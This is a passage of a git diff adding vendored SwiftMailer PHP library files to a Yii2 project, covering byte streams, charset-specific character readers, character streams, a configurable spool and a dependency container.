($currentPos<$offset) { + $toDiscard = $offset-$currentPos; + fread($this->_reader, $toDiscard); + + return; + } + $this->_copyReadStream(); + } + fseek($this->_reader, $offset, SEEK_SET); + } + + /** Copy a readOnly Stream to ensure seekability */ + private function _copyReadStream() + { + if ($tmpFile = fopen('php://temp/maxmemory:4096', 'w+b')) { + /* We have opened a php:// Stream Should work without problem */ + } elseif (function_exists('sys_get_temp_dir') && is_writable(sys_get_temp_dir()) && ($tmpFile = tmpfile())) { + /* We have opened a tmpfile */ + } else { + throw new Swift_IoException('Unable to copy the file to make it seekable, sys_temp_dir is not writable, php://memory not available'); + } + $currentPos = ftell($this->_reader); + fclose($this->_reader); + $source = fopen($this->_path, 'rb'); + if (!$source) { + throw new Swift_IoException('Unable to open file for copying ['.$this->_path.']'); + } + fseek($tmpFile, 0, SEEK_SET); + while (!feof($source)) { + fwrite($tmpFile, fread($source, 4096)); + } + fseek($tmpFile, $currentPos, SEEK_SET); + fclose($source); + $this->_reader = $tmpFile; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php new file mode 100644 index 00000000..eb33151b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php @@ -0,0 +1,42 @@ +getPath())) === false) { + throw new Swift_IoException('Failed to get temporary file content.'); + } + + return $content; + } + + public function __destruct() + { + if (file_exists($this->getPath())) { + @unlink($this->getPath()); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader.php new file mode 100644 index 00000000..febd77eb --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader.php @@ -0,0 +1,67 @@ + + */ +interface Swift_CharacterReader +{ + const MAP_TYPE_INVALID = 0x01; + const MAP_TYPE_FIXED_LEN = 0x02; + const MAP_TYPE_POSITIONS = 0x03; + + /** + * Returns the complete character map + * + * @param string $string + * @param int $startOffset + * @param array $currentMap + * @param mixed $ignoredChars + * + * @return int + */ + public function getCharPositions($string, $startOffset, &$currentMap, &$ignoredChars); + + /** + * Returns the mapType, see constants. + * + * @return int + */ + public function getMapType(); + + /** + * Returns an integer which specifies how many more bytes to read. + * + * A positive integer indicates the number of more bytes to fetch before invoking + * this method again. + * + * A value of zero means this is already a valid character. + * A value of -1 means this cannot possibly be a valid character. + * + * @param integer[] $bytes + * @param int $size + * + * @return int + */ + public function validateByteSequence($bytes, $size); + + /** + * Returns the number of bytes which should be read to start each character. + * + * For fixed width character sets this should be the number of octets-per-character. + * For multibyte character sets this will probably be 1. + * + * @return int + */ + public function getInitialByteSize(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/GenericFixedWidthReader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/GenericFixedWidthReader.php new file mode 100644 index 00000000..d0c8698d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/GenericFixedWidthReader.php @@ -0,0 +1,97 @@ + + */ +class Swift_CharacterReader_GenericFixedWidthReader implements Swift_CharacterReader +{ + /** + * The number of bytes in a single character. + * + * @var int + */ + private $_width; + + /** + * Creates a new GenericFixedWidthReader using $width bytes per character. + * + * @param int $width + */ + public function __construct($width) + { + $this->_width = $width; + } + + /** + * Returns the complete character map. + * + * @param string $string + * @param int $startOffset + * @param array $currentMap + * @param mixed $ignoredChars + * + * @return int + */ + public function getCharPositions($string, $startOffset, &$currentMap, &$ignoredChars) + { + $strlen = strlen($string); + // % and / are CPU intensive, so, maybe find a better way + $ignored = $strlen % $this->_width; + $ignoredChars = substr($string, - $ignored); + $currentMap = $this->_width; + + return ($strlen - $ignored) / $this->_width; + } + + /** + * Returns the mapType. + * + * @return int + */ + public function getMapType() + { + return self::MAP_TYPE_FIXED_LEN; + } + + /** + * Returns an integer which specifies how many more bytes to read. + * + * A positive integer indicates the number of more bytes to fetch before invoking + * this method again. + * + * A value of zero means this is already a valid character. + * A value of -1 means this cannot possibly be a valid character. + * + * @param string $bytes + * @param int $size + * + * @return int + */ + public function validateByteSequence($bytes, $size) + { + $needed = $this->_width - $size; + + return ($needed > -1) ? $needed : -1; + } + + /** + * Returns the number of bytes which should be read to start each character. + * + * @return int + */ + public function getInitialByteSize() + { + return $this->_width; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/UsAsciiReader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/UsAsciiReader.php new file mode 100644 index 00000000..229c567f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/UsAsciiReader.php @@ -0,0 +1,84 @@ +"\x07F") { + // Invalid char + $currentMap[$i+$startOffset] = $string[$i]; + } + } + + return $strlen; + } + + /** + * Returns mapType + * + * @return int mapType + */ + public function getMapType() + { + return self::MAP_TYPE_INVALID; + } + + /** + * Returns an integer which specifies how many more bytes to read. + * + * A positive integer indicates the number of more bytes to fetch before invoking + * this method again. + * A value of zero means this is already a valid character. + * A value of -1 means this cannot possibly be a valid character. + * + * @param string $bytes + * @param int $size + * + * @return int + */ + public function validateByteSequence($bytes, $size) + { + $byte = reset($bytes); + if (1 == count($bytes) && $byte >= 0x00 && $byte <= 0x7F) { + return 0; + } else { + return -1; + } + } + + /** + * Returns the number of bytes which should be read to start each character. + * + * @return int + */ + public function getInitialByteSize() + { + return 1; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/Utf8Reader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/Utf8Reader.php new file mode 100644 index 00000000..aebbecf6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReader/Utf8Reader.php @@ -0,0 +1,179 @@ + + */ +class Swift_CharacterReader_Utf8Reader implements Swift_CharacterReader +{ + /** Pre-computed for optimization */ + private static $length_map = array( + // N=0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x0N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x1N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x2N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x3N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x4N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x5N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x6N + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x7N + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0x8N + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0x9N + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0xAN + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0xBN + 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, // 0xCN + 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, // 0xDN + 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, // 0xEN + 4,4,4,4,4,4,4,4,5,5,5,5,6,6,0,0, // 0xFN + ); + + private static $s_length_map = array( + "\x00" => 1, "\x01" => 1, "\x02" => 1, "\x03" => 1, "\x04" => 1, "\x05" => 1, "\x06" => 1, "\x07" => 1, + "\x08" => 1, "\x09" => 1, "\x0a" => 1, "\x0b" => 1, "\x0c" => 1, "\x0d" => 1, "\x0e" => 1, "\x0f" => 1, + "\x10" => 1, "\x11" => 1, "\x12" => 1, "\x13" => 1, "\x14" => 1, "\x15" => 1, "\x16" => 1, "\x17" => 1, + "\x18" => 1, "\x19" => 1, "\x1a" => 1, "\x1b" => 1, "\x1c" => 1, "\x1d" => 1, "\x1e" => 1, "\x1f" => 1, + "\x20" => 1, "\x21" => 1, "\x22" => 1, "\x23" => 1, "\x24" => 1, "\x25" => 1, "\x26" => 1, "\x27" => 1, + "\x28" => 1, "\x29" => 1, "\x2a" => 1, "\x2b" => 1, "\x2c" => 1, "\x2d" => 1, "\x2e" => 1, "\x2f" => 1, + "\x30" => 1, "\x31" => 1, "\x32" => 1, "\x33" => 1, "\x34" => 1, "\x35" => 1, "\x36" => 1, "\x37" => 1, + "\x38" => 1, "\x39" => 1, "\x3a" => 1, "\x3b" => 1, "\x3c" => 1, "\x3d" => 1, "\x3e" => 1, "\x3f" => 1, + "\x40" => 1, "\x41" => 1, "\x42" => 1, "\x43" => 1, "\x44" => 1, "\x45" => 1, "\x46" => 1, "\x47" => 1, + "\x48" => 1, "\x49" => 1, "\x4a" => 1, "\x4b" => 1, "\x4c" => 1, "\x4d" => 1, "\x4e" => 1, "\x4f" => 1, + "\x50" => 1, "\x51" => 1, "\x52" => 1, "\x53" => 1, "\x54" => 1, "\x55" => 1, "\x56" => 1, "\x57" => 1, + "\x58" => 1, "\x59" => 1, "\x5a" => 1, "\x5b" => 1, "\x5c" => 1, "\x5d" => 1, "\x5e" => 1, "\x5f" => 1, + "\x60" => 1, "\x61" => 1, "\x62" => 1, "\x63" => 1, "\x64" => 1, "\x65" => 1, "\x66" => 1, "\x67" => 1, + "\x68" => 1, "\x69" => 1, "\x6a" => 1, "\x6b" => 1, "\x6c" => 1, "\x6d" => 1, "\x6e" => 1, "\x6f" => 1, + "\x70" => 1, "\x71" => 1, "\x72" => 1, "\x73" => 1, "\x74" => 1, "\x75" => 1, "\x76" => 1, "\x77" => 1, + "\x78" => 1, "\x79" => 1, "\x7a" => 1, "\x7b" => 1, "\x7c" => 1, "\x7d" => 1, "\x7e" => 1, "\x7f" => 1, + "\x80" => 0, "\x81" => 0, "\x82" => 0, "\x83" => 0, "\x84" => 0, "\x85" => 0, "\x86" => 0, "\x87" => 0, + "\x88" => 0, "\x89" => 0, "\x8a" => 0, "\x8b" => 0, "\x8c" => 0, "\x8d" => 0, "\x8e" => 0, "\x8f" => 0, + "\x90" => 0, "\x91" => 0, "\x92" => 0, "\x93" => 0, "\x94" => 0, "\x95" => 0, "\x96" => 0, "\x97" => 0, + "\x98" => 0, "\x99" => 0, "\x9a" => 0, "\x9b" => 0, "\x9c" => 0, "\x9d" => 0, "\x9e" => 0, "\x9f" => 0, + "\xa0" => 0, "\xa1" => 0, "\xa2" => 0, "\xa3" => 0, "\xa4" => 0, "\xa5" => 0, "\xa6" => 0, "\xa7" => 0, + "\xa8" => 0, "\xa9" => 0, "\xaa" => 0, "\xab" => 0, "\xac" => 0, "\xad" => 0, "\xae" => 0, "\xaf" => 0, + "\xb0" => 0, "\xb1" => 0, "\xb2" => 0, "\xb3" => 0, "\xb4" => 0, "\xb5" => 0, "\xb6" => 0, "\xb7" => 0, + "\xb8" => 0, "\xb9" => 0, "\xba" => 0, "\xbb" => 0, "\xbc" => 0, "\xbd" => 0, "\xbe" => 0, "\xbf" => 0, + "\xc0" => 2, "\xc1" => 2, "\xc2" => 2, "\xc3" => 2, "\xc4" => 2, "\xc5" => 2, "\xc6" => 2, "\xc7" => 2, + "\xc8" => 2, "\xc9" => 2, "\xca" => 2, "\xcb" => 2, "\xcc" => 2, "\xcd" => 2, "\xce" => 2, "\xcf" => 2, + "\xd0" => 2, "\xd1" => 2, "\xd2" => 2, "\xd3" => 2, "\xd4" => 2, "\xd5" => 2, "\xd6" => 2, "\xd7" => 2, + "\xd8" => 2, "\xd9" => 2, "\xda" => 2, "\xdb" => 2, "\xdc" => 2, "\xdd" => 2, "\xde" => 2, "\xdf" => 2, + "\xe0" => 3, "\xe1" => 3, "\xe2" => 3, "\xe3" => 3, "\xe4" => 3, "\xe5" => 3, "\xe6" => 3, "\xe7" => 3, + "\xe8" => 3, "\xe9" => 3, "\xea" => 3, "\xeb" => 3, "\xec" => 3, "\xed" => 3, "\xee" => 3, "\xef" => 3, + "\xf0" => 4, "\xf1" => 4, "\xf2" => 4, "\xf3" => 4, "\xf4" => 4, "\xf5" => 4, "\xf6" => 4, "\xf7" => 4, + "\xf8" => 5, "\xf9" => 5, "\xfa" => 5, "\xfb" => 5, "\xfc" => 6, "\xfd" => 6, "\xfe" => 0, "\xff" => 0, + ); + + /** + * Returns the complete character map. + * + * @param string $string + * @param int $startOffset + * @param array $currentMap + * @param mixed $ignoredChars + * + * @return int + */ + public function getCharPositions($string, $startOffset, &$currentMap, &$ignoredChars) + { + if (!isset($currentMap['i']) || ! isset($currentMap['p'])) { + $currentMap['p'] = $currentMap['i'] = array(); + } + + $strlen = strlen($string); + $charPos = count($currentMap['p']); + $foundChars = 0; + $invalid = false; + for ($i = 0; $i < $strlen; ++$i) { + $char = $string[$i]; + $size = self::$s_length_map[$char]; + if ($size == 0) { + /* char is invalid, we must wait for a resync */ + $invalid = true; + continue; + } else { + if ($invalid == true) { + /* We mark the chars as invalid and start a new char */ + $currentMap['p'][$charPos + $foundChars] = $startOffset + $i; + $currentMap['i'][$charPos + $foundChars] = true; + ++$foundChars; + $invalid = false; + } + if (($i + $size) > $strlen) { + $ignoredChars = substr($string, $i); + break; + } + for ($j = 1; $j < $size; ++$j) { + $char = $string[$i + $j]; + if ($char > "\x7F" && $char < "\xC0") { + // Valid - continue parsing + } else { + /* char is invalid, we must wait for a resync */ + $invalid = true; + continue 2; + } + } + /* Ok we got a complete char here */ + $currentMap['p'][$charPos + $foundChars] = $startOffset + $i + $size; + $i += $j - 1; + ++$foundChars; + } + } + + return $foundChars; + } + + /** + * Returns mapType. + * + * @return int mapType + */ + public function getMapType() + { + return self::MAP_TYPE_POSITIONS; + } + + /** + * Returns an integer which specifies how many more bytes to read. + * + * A positive integer indicates the number of more bytes to fetch before invoking + * this method again. + * A value of zero means this is already a valid character. + * A value of -1 means this cannot possibly be a valid character. + * + * @param string $bytes + * @param int $size + * + * @return int + */ + public function validateByteSequence($bytes, $size) + { + if ($size<1) { + return -1; + } + $needed = self::$length_map[$bytes[0]] - $size; + + return ($needed > -1) + ? $needed + : -1 + ; + } + + /** + * Returns the number of bytes which should be read to start each character. + * + * @return int + */ + public function getInitialByteSize() + { + return 1; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReaderFactory.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReaderFactory.php new file mode 100644 index 00000000..5bf38b8b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterReaderFactory.php @@ -0,0 +1,26 @@ +init(); + } + + public function __wakeup() + { + $this->init(); + } + + public function init() + { + if (count(self::$_map) > 0) { + return; + } + + $prefix = 'Swift_CharacterReader_'; + + $singleByte = array( + 'class' => $prefix.'GenericFixedWidthReader', + 'constructor' => array(1), + ); + + $doubleByte = array( + 'class' => $prefix.'GenericFixedWidthReader', + 'constructor' => array(2), + ); + + $fourBytes = array( + 'class' => $prefix.'GenericFixedWidthReader', + 'constructor' => array(4), + ); + + // Utf-8 + self::$_map['utf-?8'] = array( + 'class' => $prefix.'Utf8Reader', + 'constructor' => array(), + ); + + //7-8 bit charsets + self::$_map['(us-)?ascii'] = $singleByte; + self::$_map['(iso|iec)-?8859-?[0-9]+'] = $singleByte; + self::$_map['windows-?125[0-9]'] = $singleByte; + self::$_map['cp-?[0-9]+'] = $singleByte; + self::$_map['ansi'] = $singleByte; + self::$_map['macintosh'] = $singleByte; + self::$_map['koi-?7'] = $singleByte; + self::$_map['koi-?8-?.+'] = $singleByte; + self::$_map['mik'] = $singleByte; + self::$_map['(cork|t1)'] = $singleByte; + self::$_map['v?iscii'] = $singleByte; + + //16 bits + self::$_map['(ucs-?2|utf-?16)'] = $doubleByte; + + //32 bits + self::$_map['(ucs-?4|utf-?32)'] = $fourBytes; + + // Fallback + self::$_map['.*'] = $singleByte; + } + + /** + * Returns a CharacterReader suitable for the charset applied. + * + * @param string $charset + * + * @return Swift_CharacterReader + */ + public function getReaderFor($charset) + { + $charset = trim(strtolower($charset)); + foreach (self::$_map as $pattern => $spec) { + $re = '/^'.$pattern.'$/D'; + if (preg_match($re, $charset)) { + if (!array_key_exists($pattern, self::$_loaded)) { + $reflector = new ReflectionClass($spec['class']); + if ($reflector->getConstructor()) { + $reader = $reflector->newInstanceArgs($spec['constructor']); + } else { + $reader = $reflector->newInstance(); + } + self::$_loaded[$pattern] = $reader; + } + + return self::$_loaded[$pattern]; + } + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream.php new file mode 100644 index 00000000..aa46779e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream.php @@ -0,0 +1,89 @@ +setCharacterReaderFactory($factory); + $this->setCharacterSet($charset); + } + + /** + * Set the character set used in this CharacterStream. + * + * @param string $charset + */ + public function setCharacterSet($charset) + { + $this->_charset = $charset; + $this->_charReader = null; + } + + /** + * Set the CharacterReaderFactory for multi charset support. + * + * @param Swift_CharacterReaderFactory $factory + */ + public function setCharacterReaderFactory(Swift_CharacterReaderFactory $factory) + { + $this->_charReaderFactory = $factory; + } + + /** + * Overwrite this character stream using the byte sequence in the byte stream. + * + * @param Swift_OutputByteStream $os output stream to read from + */ + public function importByteStream(Swift_OutputByteStream $os) + { + if (!isset($this->_charReader)) { + $this->_charReader = $this->_charReaderFactory + ->getReaderFor($this->_charset); + } + + $startLength = $this->_charReader->getInitialByteSize(); + while (false !== $bytes = $os->read($startLength)) { + $c = array(); + for ($i = 0, $len = strlen($bytes); $i < $len; ++$i) { + $c[] = self::$_byteMap[$bytes[$i]]; + } + $size = count($c); + $need = $this->_charReader + ->validateByteSequence($c, $size); + if ($need > 0 && + false !== $bytes = $os->read($need)) { + for ($i = 0, $len = strlen($bytes); $i < $len; ++$i) { + $c[] = self::$_byteMap[$bytes[$i]]; + } + } + $this->_array[] = $c; + ++$this->_array_size; + } + } + + /** + * Import a string a bytes into this CharacterStream, overwriting any existing + * data in the stream. + * + * @param string $string + */ + public function importString($string) + { + $this->flushContents(); + $this->write($string); + } + + /** + * Read $length characters from the stream and move the internal pointer + * $length further into the stream. + * + * @param int $length + * + * @return string + */ + public function read($length) + { + if ($this->_offset == $this->_array_size) { + return false; + } + + // Don't use array slice + $arrays = array(); + $end = $length + $this->_offset; + for ($i = $this->_offset; $i < $end; ++$i) { + if (!isset($this->_array[$i])) { + break; + } + $arrays[] = $this->_array[$i]; + } + $this->_offset += $i - $this->_offset; // Limit function calls + $chars = false; + foreach ($arrays as $array) { + $chars .= implode('', array_map('chr', $array)); + } + + return $chars; + } + + /** + * Read $length characters from the stream and return a 1-dimensional array + * containing there octet values. + * + * @param int $length + * + * @return integer[] + */ + public function readBytes($length) + { + if ($this->_offset == $this->_array_size) { + return false; + } + $arrays = array(); + $end = $length + $this->_offset; + for ($i = $this->_offset; $i < $end; ++$i) { + if (!isset($this->_array[$i])) { + break; + } + $arrays[] = $this->_array[$i]; + } + $this->_offset += ($i - $this->_offset); // Limit function calls + + return call_user_func_array('array_merge', $arrays); + } + + /** + * Write $chars to the end of the stream. + * + * @param string $chars + */ + public function write($chars) + { + if (!isset($this->_charReader)) { + $this->_charReader = $this->_charReaderFactory->getReaderFor( + $this->_charset); + } + + $startLength = $this->_charReader->getInitialByteSize(); + + $fp = fopen('php://memory', 'w+b'); + fwrite($fp, $chars); + unset($chars); + fseek($fp, 0, SEEK_SET); + + $buffer = array(0); + $buf_pos = 1; + $buf_len = 1; + $has_datas = true; + do { + $bytes = array(); + // Buffer Filing + if ($buf_len - $buf_pos < $startLength) { + $buf = array_splice($buffer, $buf_pos); + $new = $this->_reloadBuffer($fp, 100); + if ($new) { + $buffer = array_merge($buf, $new); + $buf_len = count($buffer); + $buf_pos = 0; + } else { + $has_datas = false; + } + } + if ($buf_len - $buf_pos > 0) { + $size = 0; + for ($i = 0; $i < $startLength && isset($buffer[$buf_pos]); ++$i) { + ++$size; + $bytes[] = $buffer[$buf_pos++]; + } + $need = $this->_charReader->validateByteSequence( + $bytes, $size); + if ($need > 0) { + if ($buf_len - $buf_pos < $need) { + $new = $this->_reloadBuffer($fp, $need); + + if ($new) { + $buffer = array_merge($buffer, $new); + $buf_len = count($buffer); + } + } + for ($i = 0; $i < $need && isset($buffer[$buf_pos]); ++$i) { + $bytes[] = $buffer[$buf_pos++]; + } + } + $this->_array[] = $bytes; + ++$this->_array_size; + } + } while ($has_datas); + + fclose($fp); + } + + /** + * Move the internal pointer to $charOffset in the stream. + * + * @param int $charOffset + */ + public function setPointer($charOffset) + { + if ($charOffset > $this->_array_size) { + $charOffset = $this->_array_size; + } elseif ($charOffset < 0) { + $charOffset = 0; + } + $this->_offset = $charOffset; + } + + /** + * Empty the stream and reset the internal pointer. + */ + public function flushContents() + { + $this->_offset = 0; + $this->_array = array(); + $this->_array_size = 0; + } + + private function _reloadBuffer($fp, $len) + { + if (!feof($fp) && ($bytes = fread($fp, $len)) !== false) { + $buf = array(); + for ($i = 0, $len = strlen($bytes); $i < $len; ++$i) { + $buf[] = self::$_byteMap[$bytes[$i]]; + } + + return $buf; + } + + return false; + } + + private static function _initializeMaps() + { + if (!isset(self::$_charMap)) { + self::$_charMap = array(); + for ($byte = 0; $byte < 256; ++$byte) { + self::$_charMap[$byte] = chr($byte); + } + self::$_byteMap = array_flip(self::$_charMap); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream/NgCharacterStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream/NgCharacterStream.php new file mode 100644 index 00000000..b962e403 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/CharacterStream/NgCharacterStream.php @@ -0,0 +1,276 @@ + + */ + +class Swift_CharacterStream_NgCharacterStream implements Swift_CharacterStream +{ + /** + * The char reader (lazy-loaded) for the current charset. + * + * @var Swift_CharacterReader + */ + private $_charReader; + + /** + * A factory for creating CharacterReader instances. + * + * @var Swift_CharacterReaderFactory + */ + private $_charReaderFactory; + + /** + * The character set this stream is using. + * + * @var string + */ + private $_charset; + + /** + * The data's stored as-is. + * + * @var string + */ + private $_datas = ''; + + /** + * Number of bytes in the stream + * + * @var int + */ + private $_datasSize = 0; + + /** + * Map. + * + * @var mixed + */ + private $_map; + + /** + * Map Type. + * + * @var int + */ + private $_mapType = 0; + + /** + * Number of characters in the stream. + * + * @var int + */ + private $_charCount = 0; + + /** + * Position in the stream. + * + * @var int + */ + private $_currentPos = 0; + + /** + * Constructor. + * + * @param Swift_CharacterReaderFactory $factory + * @param string $charset + */ + public function __construct(Swift_CharacterReaderFactory $factory, $charset) + { + $this->setCharacterReaderFactory($factory); + $this->setCharacterSet($charset); + } + + /* -- Changing parameters of the stream -- */ + + /** + * Set the character set used in this CharacterStream. + * + * @param string $charset + */ + public function setCharacterSet($charset) + { + $this->_charset = $charset; + $this->_charReader = null; + $this->_mapType = 0; + } + + /** + * Set the CharacterReaderFactory for multi charset support. + * + * @param Swift_CharacterReaderFactory $factory + */ + public function setCharacterReaderFactory(Swift_CharacterReaderFactory $factory) + { + $this->_charReaderFactory = $factory; + } + + /** + * @see Swift_CharacterStream::flushContents() + */ + public function flushContents() + { + $this->_datas = null; + $this->_map = null; + $this->_charCount = 0; + $this->_currentPos = 0; + $this->_datasSize = 0; + } + + /** + * @see Swift_CharacterStream::importByteStream() + * + * @param Swift_OutputByteStream $os + */ + public function importByteStream(Swift_OutputByteStream $os) + { + $this->flushContents(); + $blocks = 512; + $os->setReadPointer(0); + while (false !== ($read = $os->read($blocks))) { + $this->write($read); + } + } + + /** + * @see Swift_CharacterStream::importString() + * + * @param string $string + */ + public function importString($string) + { + $this->flushContents(); + $this->write($string); + } + + /** + * @see Swift_CharacterStream::read() + * + * @param int $length + * + * @return string + */ + public function read($length) + { + if ($this->_currentPos >= $this->_charCount) { + return false; + } + $ret = false; + $length = ($this->_currentPos+$length > $this->_charCount) + ? $this->_charCount - $this->_currentPos + : $length; + switch ($this->_mapType) { + case Swift_CharacterReader::MAP_TYPE_FIXED_LEN: + $len = $length*$this->_map; + $ret = substr($this->_datas, + $this->_currentPos * $this->_map, + $len); + $this->_currentPos += $length; + break; + + case Swift_CharacterReader::MAP_TYPE_INVALID: + $end = $this->_currentPos + $length; + $end = $end > $this->_charCount + ? $this->_charCount + : $end; + $ret = ''; + for (; $this->_currentPos < $length; ++$this->_currentPos) { + if (isset ($this->_map[$this->_currentPos])) { + $ret .= '?'; + } else { + $ret .= $this->_datas[$this->_currentPos]; + } + } + break; + + case Swift_CharacterReader::MAP_TYPE_POSITIONS: + $end = $this->_currentPos + $length; + $end = $end > $this->_charCount + ? $this->_charCount + : $end; + $ret = ''; + $start = 0; + if ($this->_currentPos>0) { + $start = $this->_map['p'][$this->_currentPos-1]; + } + $to = $start; + for (; $this->_currentPos < $end; ++$this->_currentPos) { + if (isset($this->_map['i'][$this->_currentPos])) { + $ret .= substr($this->_datas, $start, $to - $start).'?'; + $start = $this->_map['p'][$this->_currentPos]; + } else { + $to = $this->_map['p'][$this->_currentPos]; + } + } + $ret .= substr($this->_datas, $start, $to - $start); + break; + } + + return $ret; + } + + /** + * @see Swift_CharacterStream::readBytes() + * + * @param int $length + * + * @return integer[] + */ + public function readBytes($length) + { + $read = $this->read($length); + if ($read !== false) { + $ret = array_map('ord', str_split($read, 1)); + + return $ret; + } + + return false; + } + + /** + * @see Swift_CharacterStream::setPointer() + * + * @param int $charOffset + */ + public function setPointer($charOffset) + { + if ($this->_charCount<$charOffset) { + $charOffset = $this->_charCount; + } + $this->_currentPos = $charOffset; + } + + /** + * @see Swift_CharacterStream::write() + * + * @param string $chars + */ + public function write($chars) + { + if (!isset($this->_charReader)) { + $this->_charReader = $this->_charReaderFactory->getReaderFor( + $this->_charset); + $this->_map = array(); + $this->_mapType = $this->_charReader->getMapType(); + } + $ignored = ''; + $this->_datas .= $chars; + $this->_charCount += $this->_charReader->getCharPositions(substr($this->_datas, $this->_datasSize), $this->_datasSize, $this->_map, $ignored); + if ($ignored !== false) { + $this->_datasSize = strlen($this->_datas)-strlen($ignored); + } else { + $this->_datasSize = strlen($this->_datas); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ConfigurableSpool.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ConfigurableSpool.php new file mode 100644 index 00000000..df87527f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ConfigurableSpool.php @@ -0,0 +1,63 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Base class for Spools (implements time and message limits). + * + * @author Fabien Potencier + */ +abstract class Swift_ConfigurableSpool implements Swift_Spool +{ + /** The maximum number of messages to send per flush */ + private $_message_limit; + + /** The time limit per flush */ + private $_time_limit; + + /** + * Sets the maximum number of messages to send per flush. + * + * @param int $limit + */ + public function setMessageLimit($limit) + { + $this->_message_limit = (int) $limit; + } + + /** + * Gets the maximum number of messages to send per flush. + * + * @return int The limit + */ + public function getMessageLimit() + { + return $this->_message_limit; + } + + /** + * Sets the time limit (in seconds) per flush. + * + * @param int $limit The limit + */ + public function setTimeLimit($limit) + { + $this->_time_limit = (int) $limit; + } + + /** + * Gets the time limit (in seconds) per flush. + * + * @return int The limit + */ + public function getTimeLimit() + { + return $this->_time_limit; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyContainer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyContainer.php new file mode 100644 index 00000000..1d8cb3a3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyContainer.php @@ -0,0 +1,372 @@ +_store); + } + + /** + * Test if an item is registered in this container with the given name. + * + * @see register() + * + * @param string $itemName + * + * @return bool + */ + public function has($itemName) + { + return array_key_exists($itemName, $this->_store) + && isset($this->_store[$itemName]['lookupType']); + } + + /** + * Lookup the item with the given $itemName. + * + * @see register() + * + * @param string $itemName + * + * @return mixed + * + * @throws Swift_DependencyException If the dependency is not found + */ + public function lookup($itemName) + { + if (!$this->has($itemName)) { + throw new Swift_DependencyException( + 'Cannot lookup dependency "'.$itemName.'" since it is not registered.' + ); + } + + switch ($this->_store[$itemName]['lookupType']) { + case self::TYPE_ALIAS: + return $this->_createAlias($itemName); + case self::TYPE_VALUE: + return $this->_getValue($itemName); + case self::TYPE_INSTANCE: + return $this->_createNewInstance($itemName); + case self::TYPE_SHARED: + return $this->_createSharedInstance($itemName); + } + } + + /** + * Create an array of arguments passed to the constructor of $itemName. + * + * @param string $itemName + * + * @return array + */ + public function createDependenciesFor($itemName) + { + $args = array(); + if (isset($this->_store[$itemName]['args'])) { + $args = $this->_resolveArgs($this->_store[$itemName]['args']); + } + + return $args; + } + + /** + * Register a new dependency with $itemName. + * + * This method returns the current DependencyContainer instance because it + * requires the use of the fluid interface to set the specific details for the + * dependency. + * @see asNewInstanceOf(), 